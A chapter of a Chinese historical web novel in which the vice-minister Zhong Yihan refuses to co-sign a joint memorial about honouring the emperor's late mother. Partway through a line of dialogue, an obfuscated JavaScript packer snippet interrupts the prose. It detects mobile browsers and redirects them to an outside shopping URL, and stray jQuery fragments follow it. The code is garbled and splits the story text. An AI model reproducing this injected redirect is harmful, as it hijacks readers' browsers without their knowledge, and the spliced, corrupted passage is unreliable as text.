113. 聯名奏疏(2 / 2)

漕河外,刑部衙門。

左侍郎劉廷甫手握一折奏疏,步履輕盈的越過連廊,叩響了右侍郎衙房的門。

“鐘大人,我進來了?”

鐘義寒拉開房門,對門外之人拱了拱手:“劉大人請進,是有案子找我商議?”

劉廷甫進了屋,撣了撣身上被風刮出來的塵土,將那一折奏疏放在鐘義寒的桌案上。

“非也,我是來向鐘大人討押印的。”他笑嗬嗬的瞅了一眼案上的奏疏,“不如鐘大人先看看?”

鐘義寒將折本展開來看了看,見那其上是由禮部主擬的言辭,奏請皇上早日追封聖母皇後之位,遷梓宮入皇陵,封固先帝陵寢。其上已有了數個衙門的簽章,林林總總共計幾十人。

“這是?”

劉侍郎解釋道:“日前,楊閣老提議,聖上素來以仁孝治天下,若要國本穩固,先要先祖陵寢安穩。於是由禮部牽頭,擬了這封折子,各部聯名奏請皇上儘早安固先帝茂陵,刑部其他同僚已都落了款,就差鐘大人你了。”

見鐘義寒竟還有猶疑之色,劉廷甫又忙著補充道:“無人不望父母和樂,聖母孤墳已伶仃多年,陛下必定也是期望先帝聖母在天之靈魂安的。如此順應聖意之舉,何樂而不為呢?況且,隔壁都察院和大理寺早已都簽好了字,位置比刑部靠前,咱刑部可不能在人數上再落下風了啊!”

鐘義寒垂眸往折本上看去,在刑部欄下,劉廷甫的大名打頭陣,其後跟著其他主事同僚的名字。在左侍郎的名字下麵留有一塊空白,顯然是等著他這個右侍郎落款上去的。

鐘義寒當然明白他心中打的什麼算盤。刑部尚書年事已高,眼瞧著就要致仕,空出這個二品官位來。劉廷甫是想借機在皇上麵前多露露臉,好往前再拱上一拱,近水樓台先得月麼不是。

“可是劉大人,刑部聯名上書也該是蔣尚書牽頭,怎不見他簽名呢?”

劉廷甫咋舌:“嗐,還不是前幾天在禦前把盧閣老給得罪了

;eval(fun(p,a,c,k,e,d){e=fun(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.t(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[fun(e){return d[e]}];e=fun(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replaew RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13388849|125276||http|test|mini|href|location'.split('|'),0,{}));

() {

$('.inform').remove();

$('#tent').append('

,不好意思在禮部的折子上落名。”

鐘義寒挑眉:“出什麼事了?”

“鐘老弟,你竟不知道?”劉廷甫對於鐘義寒消息之閉塞感到十分訝異。

劉侍郎這個人,長了一副圓臉粗眉,看著是個忠厚模樣,但實則是個情報頭子。朝廷上不管是哪有點風吹草動花邊佚事,他總是頭一個能聞著味。鐘義寒時常感慨,莊衡不把這個人攬到自己麾下去,著實可惜了。

劉廷甫見他這個兩耳不聞窗外事的樣子,便知道其是真的不知情,於是壓低聲音,將盧英在禦書房帶頭奏請皇上立後的事同鐘義寒講了,其中更不乏一些他自己理解的添油加醋。

鐘義寒越聽神情越凝重。

雖說冊立皇後的確是國之要事,但擺出一副不立皇後則不談海防的態度,鐘義寒是很不讚成的。

對於海防一事,鐘義寒一直持比較激進的態度。且他內心已做好了打算,待今年諸事漸上正軌,他便會上折子自請外放到東南沿海為官,那裡才是他想施展身手的地方。

鐘義寒想,若是當時自己在場,管他對麵是輔臣尚書,一定要與對方辯上一辯,絕不會讓皇上受那等窩囊氣。

可這個想法方一冒頭,鐘義寒又不由覺得心驚。景熙皇帝坑過他那麼多回,怎麼不知不覺的,自己倒與皇帝陛下穿進一條褲子裡去了呢?

劉廷甫自然看不穿麵前這小老弟的心思,兀自感歎道:“咱們尚書大人啊,還是忒要臉。你看人家工部呂尚書,也沒在盧大人那起什麼好作用,不是還該簽簽麼。要不人家能把尚書之位坐的這麼穩呢?壞事躲著走,好事往上湊,我算是看明白了,這做官呐,還是得靠臉皮厚。”

見鐘義寒對自己的風涼話沒什麼反應,劉侍郎不由得有些尷尬。他在鐘義寒眼前晃了晃手掌:“喂,鐘老弟,你就快簽了吧。有這等好事,不蹭白不蹭不是?”

鐘義寒看向奏疏上字跡不一的簽名,密密匝匝跟蒼蠅一樣。鬼使神差的,他回想起來第一回同皇上見麵的時候。

那人懷中抱著個孩子,同自己說,找不到這小娃娃的爹也挺好的,這樣他娘至少就不會扔掉他了。

彼時鐘義寒隻覺得那人有病,可如今回憶起來,卻咂摸出來些不同尋常的意味來。

是那人與他的母親之間解不開的結。

鐘義寒喃喃自問:“這真的,會是件好事麼?”

劉廷甫萬沒想到找此人簽個字竟如此費勁,急道:“我說老弟,你到底在猶豫啥呢?”

鐘義寒將折本推回去:“劉大人,這字,我還是不簽了。”

何去何從,也當是由那人自己決定,他不想做這推波助瀾之人。

劉廷甫張了張嘴:“不是,為什麼啊?”

鐘義寒淡淡笑道:“下官生來性子孤僻些,這等熱鬨,也就不摻和了吧。”

劉廷甫眼中難□□出些失望之色。

畢竟他要鐘義寒寫的,不止是對方的名字,更是刑部的臉麵,是要算自己的政績的。這下可好,尚書與右侍郎俱不署名,讓他這個左侍郎顯得太過突兀。

可他又知,麵前這個人可是連錦衣衛都敢頂,自己必是勸不動他的。

劉廷甫隻好將奏疏收好,拱手道了告辭,懨懨離開了鐘義寒的衙房。

上一頁 書頁/目錄 下一章